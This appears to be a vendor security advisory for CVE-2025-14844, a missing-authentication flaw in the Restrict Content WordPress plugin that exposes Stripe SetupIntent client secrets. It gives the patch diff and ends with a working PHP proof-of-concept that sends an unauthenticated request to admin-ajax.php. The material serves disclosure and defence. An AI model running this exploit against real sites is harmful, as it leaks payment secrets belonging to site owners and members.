Atomic Edge analysis of CVE-2025-14844:
This vulnerability is an Insecure Direct Object Reference (IDOR) and information exposure flaw in the Restrict Content WordPress plugin. The issue resides in the Stripe payment gateway functionality, allowing unauthenticated attackers to retrieve sensitive Stripe SetupIntent client secrets for any membership. The CVSS score of 8.2 reflects the high severity of this authentication bypass.
The root cause is the `rcp_stripe_create_setup_intent_for_saved_card` function in `/restrict-content/core/includes/gateways/stripe/functions.php`. The function lacked both a capability check to verify user authentication and a nonce verification to validate request intent. This allowed direct, unauthenticated access to the AJAX handler. The vulnerability was present because the function executed its logic without confirming the user had the ‘read’ capability or a valid nonce.
Exploitation involves sending a POST request to the WordPress admin AJAX endpoint, `/wp-admin/admin-ajax.php`. The attacker sets the `action` parameter to `rcp_stripe_create_setup_intent_for_saved_card`. No other specific parameters are required to trigger the leak, as the missing checks allow the function to proceed and return the Stripe SetupIntent data, which includes the sensitive `client_secret` value, for a membership context.
The patch adds two critical security controls. First, it introduces a nonce check via `check_ajax_referer(‘rcp_stripe_create_setup_intent_for_saved_card’, ‘nonce’)`. Second, it adds a capability check `if ( ! current_user_can( ‘read’ ) )` to ensure the requesting user is at least a registered subscriber. The nonce is also added to the localized script variables in the same file, ensuring legitimate front-end requests include it. These changes collectively enforce authentication and request validation.
Successful exploitation leads to the exposure of Stripe SetupIntent `client_secret` values. An attacker could use these secrets to manipulate payment processes, potentially link unauthorized payment methods to user accounts, or interfere with subscription flows. This constitutes a significant breach of payment integrity and user data confidentiality within the membership system.
--- a/restrict-content/core/includes/class-restrict-content.php
+++ b/restrict-content/core/includes/class-restrict-content.php
@@ -26,7 +26,7 @@
* @since 3.0
*/
final class Restrict_Content_Pro {
- const VERSION = '3.5.48';
+ const VERSION = '3.5.49';
/**
* Stores the base slug for the extension.
--- a/restrict-content/core/includes/gateways/stripe/functions.php
+++ b/restrict-content/core/includes/gateways/stripe/functions.php
@@ -148,6 +148,7 @@
'confirm_delete_card' => esc_html__( 'Are you sure you want to delete this payment method?', 'rcp' ),
'enter_card_name' => __( 'Please enter a card holder name', 'rcp' ),
'pleasewait' => __( 'Please Wait . . . ', 'rcp' ),
+ 'nonce' => wp_create_nonce( 'rcp_stripe_create_setup_intent_for_saved_card' ),
) );
try {
@@ -846,6 +847,12 @@
* @return void
*/
function rcp_stripe_create_setup_intent_for_saved_card() {
+ check_ajax_referer( 'rcp_stripe_create_setup_intent_for_saved_card', 'nonce' );
+
+ // Check if the user is at least a registered user.
+ if ( ! current_user_can( 'read' ) ) {
+ wp_send_json_error( __( 'You are not authorized to perform this action.', 'rcp' ) );
+ }
global $rcp_options;
--- a/restrict-content/legacy/restrictcontent.php
+++ b/restrict-content/legacy/restrictcontent.php
@@ -21,7 +21,7 @@
}
if ( ! defined( 'RC_PLUGIN_VERSION' ) ) {
- define( 'RC_PLUGIN_VERSION', '3.2.16' );
+ define( 'RC_PLUGIN_VERSION', '3.2.17' );
}
if ( ! defined( 'RC_PLUGIN_DIR' ) ) {
--- a/restrict-content/restrictcontent.php
+++ b/restrict-content/restrictcontent.php
@@ -3,7 +3,7 @@
* Plugin Name: Restrict Content
* Plugin URI: https://restrictcontentpro.com
* Description: Set up a complete membership system for your WordPress site and deliver premium content to your members. Unlimited membership packages, membership management, discount codes, registration / login forms, and more.
- * Version: 3.2.16
+ * Version: 3.2.17
* Author: StellarWP
* Author URI: https://stellarwp.com/
* Requires at least: 6.0
@@ -18,7 +18,7 @@
define('RCP_PLUGIN_FILE', __FILE__);
define('RCP_ROOT', plugin_dir_path(__FILE__));
define('RCP_WEB_ROOT', plugin_dir_url(__FILE__));
-define('RCF_VERSION', '3.2.16');
+define('RCF_VERSION', '3.2.17');
// Load Strauss autoload.
require_once plugin_dir_path( __FILE__ ) . 'vendor/strauss/autoload.php';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14844 - Membership Plugin – Restrict Content <= 3.2.16 - Missing Authentication to Insecure Direct Object Reference and Sensitive Information Exposure
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
// The vulnerable AJAX action hook.
$post_data = array('action' => 'rcp_stripe_create_setup_intent_for_saved_card');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Following redirects is often necessary for WordPress admin endpoints.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body:n";
echo $response;
// The response is expected to be JSON.
// A successful exploit on a vulnerable version will return a JSON object containing a 'client_secret' field.
$json_response = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && isset($json_response['client_secret'])) {
echo "n[SUCCESS] Stripe client_secret leaked: " . $json_response['client_secret'] . "n";
} else {
echo "n[FAILURE] Exploit may have failed or the site is patched.n";
}
?>